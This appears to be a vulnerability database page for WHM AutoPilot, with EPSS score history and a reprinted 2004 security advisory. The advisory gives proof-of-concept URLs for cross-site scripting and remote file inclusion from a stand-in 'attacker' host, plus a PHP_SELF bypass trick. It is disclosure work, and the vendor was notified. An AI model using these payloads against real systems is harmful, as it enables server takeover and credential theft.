CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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WHM AutoPilot 2.4.6.5 and earlier allows remote attackers to gain sensitive information via phpinfo, which reveals php settings.
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Metrics
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EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
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1.32%
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2022-02-27
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1.32%
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2022-04-03
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1.32%
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2022-05-15
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1.32%
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2022-09-18
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1.32%
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2023-03-12
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1.22%
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2023-06-04
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–
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1.73%
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2024-01-21
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1.47%
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2024-02-11
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1.47%
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2024-04-14
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1.47%
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2024-06-02
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1.47%
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2024-08-25
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1.13%
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2024-12-22
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1.53%
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2025-01-19
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1.53%
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2025-03-18
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7.82%
2025-05-01
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7.82%
2025-05-04
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7.82%
2025-05-04
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7.82,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2014-12-26 23h00 +00:00 Author : GulfTech Security EDB Verified : No
WHM.AutoPilot Multiple Vulnerabilities
Vendor: Benchmark Designs, LLC
Product: WHM.AutoPilot
Version: <= 2.4.6.5
Website: http://www.whmautopilot.com/
BID: 12119
CVE: CVE-2004-1420 CVE-2004-1421 CVE-2004-1422
OSVDB: 12693 12694 12695 12696 12697
SECUNIA: 13673
PACKETSTORM: 35559
Description:
Started by a webhost looking for more out of a simple managment script, Brandee Diggs (Owner of Spinn A Web Cafe, Founder of Benchmark Designs) setout to build an internal management system that could handle the day to day operations of a normal hosting company. The key was to remove the need to constantly watch your orders and manage the installs. Alas, WHM AutoPilot was born. [ as quoted from their official website ]
Cross Site Scripting:
There are a significant number of cross site scripting issues in WHM AutoPilot. Most of these are caused by calling scripts directly and specifying certain variable values yourself. Below are a few examples, though there are many more XSS holes than just the examples I am showing below.
http://path/inc/header.php?site_title=%3C/title%3E%3Ciframe%3E
http://path/admin/themes/blue/header.php?http_images='%3E%3Ciframe%3E
I believe that every file in the /themes/blue/ directory can be manipulated in this way, and of course this can be used to steal a users credentials or render hostile code.
File Include Vulnerability:
WHM AutoPilot is susceptible to several potentially very dangerous file include vulns. Below are several examples of how files can be included and possibly executed remotely.
http://path/inc/header.php/step_one.php?server_inc=http://attacker/step_one_tables.php
http://path/inc/step_one_tables.php?server_inc=http://attacker/js_functions.php
http://path/inc/step_two_tables.php?server_inc=http://attacker/js_functions.php
This can be used to include php scripts and possibly take control of the webserver and more. A user does not have to be logged in to exploit this vulnerability either so that just makes it even more dangerous. Now for something weird: See the first example I gave above? Notice the "header.php/step_one.php"? Well, that was done to get around a piece of code that looked something like this. I am not going to include the actual code since this is proprietary software, but this should definitely give you the idea of what happened.
if (ereg("test.php", $PHP_SELF)==true)
{
include $server_inc."/step_one_tables.php";
}
This works because $PHP_SELF will return the value of "header.php/step_ one.php" expectedly. The below excerpt was taken from the php manual.
"PHP_SELF
The filename of the currently executing script, relative to the document root. For instance, $_SERVER['PHP_SELF'] in a script at the address http://example.com/test.php/foo.bar would be /test.php/foo.bar. The __FILE__ constant contains the full path and filename of the current (i.e. included) file."
I see a lot of developers use this variable without giving much though to how it can be taken advantage of. I have even found it can cause be used to conduct cross site scripting attacks when the phpinfo() function is called.
Information Disclosure:
By default WHM AutoPilot is shipped with a phpinfo() script that is accessible to anyone. As far as I know WHM AutoPilot needs register globals to work, but if you want to check php settings anyway the file can be found in the root directory as "phpinfo.php"
Solution:
I have contacted the developers, and a new version of WHM Autopilot is available.
Credits:
James Bercegay of the GulfTech Security Research Team